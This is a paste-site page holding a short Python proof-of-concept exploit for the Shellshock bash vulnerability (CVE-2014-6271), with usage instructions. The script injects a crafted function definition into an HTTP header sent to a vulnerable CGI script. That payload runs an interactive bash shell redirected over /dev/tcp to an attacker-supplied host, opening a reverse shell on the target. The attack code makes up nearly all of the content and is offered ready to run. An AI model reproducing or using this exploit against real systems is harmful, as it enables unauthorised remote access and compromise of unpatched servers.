CVE-2014-6271 Poc Reverse Shell. Xploit Shellshock

  1. Date: Sep 26, 2014 at 04:17
  2. Syntax: text
  3. Hits: 498707
  4. Copy
  5. Download
  6. Print
  7. Raw
  8. Report
#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
	print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
	exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
	"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

Raw paste:

comments powered by Disqus

Recent pastes

TitleTime
yte5 yhet4 minutes
sdfsdfdssfdfs17 minutes
qwertyhju20 minutes
SDSFA35 minutes
Watch Querétaro vs UNAM ...56 minutes
qswdefrgtyhj1 hour
cfdgrftjydfsgdsfsdf1 hour

© Paste4BTC 2014 - Earn bitcoins by pasting! | My pastes | Popular pastes | New pastes | Payments | FAQ | Terms of Service